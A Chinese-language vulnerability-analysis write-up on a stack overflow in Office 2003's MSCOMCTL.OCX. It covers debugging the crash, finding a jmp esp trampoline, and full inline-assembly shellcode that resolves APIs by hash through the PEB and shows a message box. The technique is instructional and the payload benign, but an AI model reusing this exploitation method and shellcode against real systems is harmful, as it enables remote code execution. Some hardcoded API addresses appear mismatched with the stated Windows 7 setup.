操作系统:Windows7 32位 专业版
Office:2003sp3_20120218.exe
工具:OD和IDA
1.漏洞的本质:程序编写时未对内存拷贝函数的长度参数进行足够严谨的验证,造成的堆栈缓冲区溢出。
2漏洞分析:
网络下载
安装office2003 sp3
直接运行poc样本,观察程序的运行状态,通过Windows反馈信息可知,此漏洞是典型的栈溢出型漏洞。
使用OD进行附加:
因为栈的结构如下图,所以通过对poc栈分析,下部的栈已经被破坏,上部的栈是程序出现问题的运势状态。
向上栈回述找到如下地址:
重新进行附加,对此函数进行分析,定位漏洞产生的位置:
在此时函数所在的模块,通过OD快捷键:Alt+E查找对应模块
将MSCOMCTL.OCX加载进IDA,对call MSCOMCTL.275C876D漏洞产生函数分析:
由上可知此漏洞的产生,是因为对栈检测时没有设定上限导致的,所以漏洞的修补就是对是否进行内存拷贝的判断时,小于判断即可
通过对OD动态调试:
通过对poc进行010分析,因为poc是需要对漏洞进行利用,而275C876D是漏洞产生的函数,静态分析可知,第三个参数是申请的内存空间的大小,根据ShellCode的编写需要内存空间进行存储,所以,直接在poc的010中搜索8282,即可定位到自定义缓冲区位置
3漏洞利用:
Shellcode:
1. 在运行的程序中寻找跳板指令地址:
Jmp esp
使用 ImmunityDebugger+mona.py
!mona modules
因为此模块位系统模块且各种保护位false
选择可读可执行的 jmp esp 地址:0x729a0535
2. 编写通用ShellCode的思路:
以简单的MessageBox为例:
1.获取Kernel32.dll 基地址
2.获取GetProcAddress 函数地址
3.获取LoadLibraryExA 函数地址
4.调用LoadLibraryExA 获取user32.dll基地址
5.调用GetProcAddress 获取MessageBoxA 函数地址
6.传参调用MessageBoxA
7.调用GetProcAddress,获取ExitProcess函数地址
8.传参调用ExitProcess
为缩短ShellCode的通过获取API Hash值进行匹对完成
1 /* 通过对APIHASH值的匹对行进获取 */ 2 DWORD GetHash(char *fun_name) 3 { 4 DWORD digest = 0; 5 while (*fun_name) 6 { 7 digest = ((digest << 25) | (digest >> 7)); // 实现了digest的循环右移7位(或循环左移25位) 8 digest += *fun_name; 9 fun_name++; 10 } 11 return digest; 12 } 13 int main() 14 { 15 _asm 16 { 17 // 将所要使用的函数的hash值入栈 18 cld // 清空标志位DF 19 push 0x1e380a6a // MessageBoxA的Hash值 20 push 0x4fd18963 // ExitProcess的Hash值 21 push 0x0c917432 // LoadLibraryA的Hash值 22 mov esi, esp // 令esi指向栈顶位置,此时指向堆栈中存放的LoadLibrary 23 lea edi, [esi - 0xc]// 后面利用edi的值来调用不同的函数 24 25 // 开辟栈空间 26 xor ebx, ebx // ebx置0 27 mov bh, 0x04 // 此时ebx为0x400 28 sub esp, ebx // 开辟0x400大小的空间 29 30 // 压入“user32.dll” 31 mov bx, 0x3233 // 0x3和0x2 倒叙存储 32 push ebx // 入栈 33 push 0x72657375 // “user”入栈 34 push esp 35 xor edx, edx // edx置0 36 37 // 查找kernel32.dll的基地址 38 mov ebx, fs:[edx + 0x30] // [TEB+0x30]是PEB的位置 39 mov ecx, [ebx + 0xc] // [PEB+0xc]是PEB_LDR_DATA的位置 40 mov ecx, [ecx + 0x1c] // [PEB_LDR_DATA+0x1c]是InInitializationOrderModuleList 41 mov ecx, [ecx] // 进入链表第一个就是ntdll.dll 42 mov ebp, [ecx + 0x8] // ebp保存的是Kernel32.dll的基地址 43 44 find_lib_function : 45 lodsd 46 cmp eax, 0x1e380a6a // 与MessageBoxA的Hash值进行比较 47 jne find_functions // 如果不相等,继续查找 48 xchg eax, ebp 49 call[edi - 0x8] 50 xchg eax, ebp 51 52 // 在PE文件中查找相应的API函数 53 find_functions : 54 pushad // 保护所有寄存器中的内容 55 mov eax, [ebp + 0x30] // PE头 56 mov ecx, [ebp + eax + 0x78]// 导出表的指针 57 add ecx, ebp 58 mov ebx, [ecx + 0x20] // 导出函数的名字列表 59 add ebx, ebp 60 xor edi, edi // edi置0 61 62 // 循环读取导出表函数 63 next_function_loop : 64 inc edi // edi不断自增,作为索引 65 mov esi, [ebx + edi*4] // 从列表数组中读取 66 add esi, ebp // esi保存的是函数名所在的地址 67 cdq // 把edx的每一个位置成eax的最高位,再把edx扩展位eax的高位,变成64位 68 69 // hash值的计算 70 hash_loop : 71 movsx eax, byte ptr[esi] // 每次取出一个字符放入eax中 72 cmp al, ah // 验证eax是否为0x0,即结束符 73 jz compare_hash // 如果上述结果为0,说明hash值计算完毕进行hash比对 74 ror edx, 7 // 如果cmp的结果不为0,则进行循环右移7为的操作 75 add edx, eax // 将循环右移的值不断累加 76 inc esi // esi自增,用于读取下一个字符 77 jmp hash_loop // 跳转到hash_loop的位置继续计算 78 79 // hash值的比较 80 compare_hash : 81 cmp edx, [esp + 0x1c] // 与LoadLibraryA的hash值进行比较 82 jnz next_function_loop // 如果比较不成功,继续寻找导出表的下一个函数 83 mov ebx, [ecx + 0x24] 84 add ebx, ebp 85 mov di, [ebx + 2 * edi] 86 mov ebx, [ecx + 0x1c] 87 add ebx, ebp 88 add ebp, [ebx + 4 * edi] 89 xchg eax, ebp 90 pop edi 91 push edi 92 popad // 还原所有寄存器内容 93 cmp eax, 0x1e380a6a // 与MessageBoxA的Hash值进行比较 94 95 // 主函数内容,用于显示对话框 96 function_call: 97 xor ebx, ebx 98 sub esp, 0x50 99 xor ebx, ebx 100 push ebx // cut string 101 push 0x48656c6c // push "hell" 102 mov eax, esp 103 push ebx // cut string 104 push 0x576f726c // push "worl" 105 mov ecx, esp 106 107 push ebx 108 push eax 109 push ecx 110 push ebx 111 mov eax, 0x77d507ea 112 call eax // call MessageBox 113 push ebx 114 mov eax, 0x7c81cafa 115 call eax // call ExitProcess 116 } 117 return 0; 118 }
4总结:
1. 栈数据被当成代码执行
2. 想要通用的shellcode就需要动态获取kernel32.dll,解析kernel32.dll的导出表获取API
3. 漏洞的利用:覆盖函数返回地址,jmp esp跳转
4. 从编程角度理解思考漏洞的成因并防范